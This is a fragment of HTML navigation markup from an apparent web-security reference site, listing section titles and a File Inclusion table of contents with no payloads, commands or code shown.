|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../CVE%20Exploits/Log4Shell/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
CVE-2021-44228 Log4Shell
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Clickjacking
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_14">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Clickjacking
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Clickjacking/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Clickjacking: Web Application Security Vulnerability
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Command Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_15">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Command Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Command%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Command Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DNS Rebinding
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_16">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
DNS Rebinding
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../DNS%20Rebinding/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
DNS Rebinding
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Dependency Confusion
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_17">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Dependency Confusion
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Dependency%20Confusion/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Dependency Confusion
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Directory Traversal
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_18">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Directory Traversal
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Directory%20Traversal/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Directory Traversal
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Dom Clobbering
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_19">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Dom Clobbering
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Dom%20Clobbering/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Dom Clobbering
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" checked>
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
File Inclusion
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="true">
|
|
<label class="md-nav__title" for="__nav_20">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
File Inclusion
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--active">
|
|
|
|
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
|
|
|
|
|
|
|
|
|
|
|
|
<label class="md-nav__link md-nav__link--active" for="__toc">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
File Inclusion
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<a href="./" class="md-nav__link md-nav__link--active">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
File Inclusion
|
|
</span>
|
|
|
|
|
|
</a>
|
|
|
|
|
|
|
|
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<label class="md-nav__title" for="__toc">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Table of contents
|
|
</label>
|
|
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#summary" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Summary
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#tools" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Tools
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#local-file-inclusion" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Local File Inclusion
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="Local File Inclusion">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#null-byte" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Null byte
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#double-encoding" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Double encoding
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#utf-8-encoding" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
UTF-8 encoding
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#path-and-dot-truncation" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Path and dot truncation
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#filter-bypass-tricks" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Filter bypass tricks
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#remote-file-inclusion" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Remote File Inclusion
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="Remote File Inclusion">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#null-byte_1" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Null byte
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#double-encoding_1" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Double encoding
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#bypass-allow_url_include" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypass allow_url_include
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-rfi-using-wrappers" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI / RFI using wrappers
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="LFI / RFI using wrappers">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#wrapper-phpfilter" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Wrapper php://filter
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#wrapper-data" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Wrapper data://
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#wrapper-expect" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Wrapper expect://
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#wrapper-input" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Wrapper input://
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#wrapper-zip" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Wrapper zip://
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#wrapper-phar" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Wrapper phar://
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#wrapper-converticonv-and-dechunk" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Wrapper convert.iconv:// and dechunk://
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="Wrapper convert.iconv:// and dechunk://">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#leak-file-content-from-error-based-oracle" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Leak file content from error-based oracle
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#leak-file-content-inside-a-custom-format-output" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Leak file content inside a custom format output
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-procfd" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via /proc/*/fd
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-procselfenviron" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via /proc/self/environ
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-upload" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via upload
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-upload-race" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via upload (race)
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-upload-findfirstfile" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via upload (FindFirstFile)
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-phpinfo" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via phpinfo()
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-controlled-log-file" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via controlled log file
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="LFI to RCE via controlled log file">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#rce-via-ssh" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
RCE via SSH
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#rce-via-mail" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
RCE via Mail
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#rce-via-apache-logs" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
RCE via Apache logs
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-php-sessions" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via PHP sessions
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-php-pearcmd" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via PHP PEARCMD
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#lfi-to-rce-via-credentials-files" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LFI to RCE via credentials files
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="LFI to RCE via credentials files">
|
|
<ul class="md-nav__list">
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#windows-version" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Windows version
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#linux-version" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Linux version
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#references" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
References
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Google Web Toolkit
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_21">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Google Web Toolkit
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Google%20Web%20Toolkit/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Google Web Toolkit
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
GraphQL Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_22">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
GraphQL Injection
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../GraphQL%20Injection/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
GraphQL Injection
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
HTTP Parameter Pollution
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_23">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
HTTP Parameter Pollution
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../HTTP%20Parameter%20Pollution/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
HTTP Parameter Pollution
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Hidden Parameters
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_24">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Hidden Parameters
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Hidden%20Parameters/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
HTTP Hidden Parameters
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Deserialization
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_25">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Deserialization
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Deserialization/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Deserialization/DotNET/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
.NET Serialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Deserialization/Java/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Java Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Deserialization/Node/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Node Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Deserialization/PHP/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
PHP Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Deserialization/Python/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Python Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Deserialization/Ruby/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Ruby Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Deserialization/YAML/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
YAML Deserialization
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Direct Object References
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_26">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Direct Object References
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Direct%20Object%20References/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Direct Object References
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Management Interface
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
|
|
<label class="md-nav__title" for="__nav_27">
|
|
<span class="md-nav__icon md-icon"></span>
|
|
Insecure Management Interface
|
|
</label>
|
|
<ul class="md-nav__list" data-md-scrollfix>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item">
|
|
<a href="../Insecure%20Management%20Interface/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
Insecure Management Interface
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
|
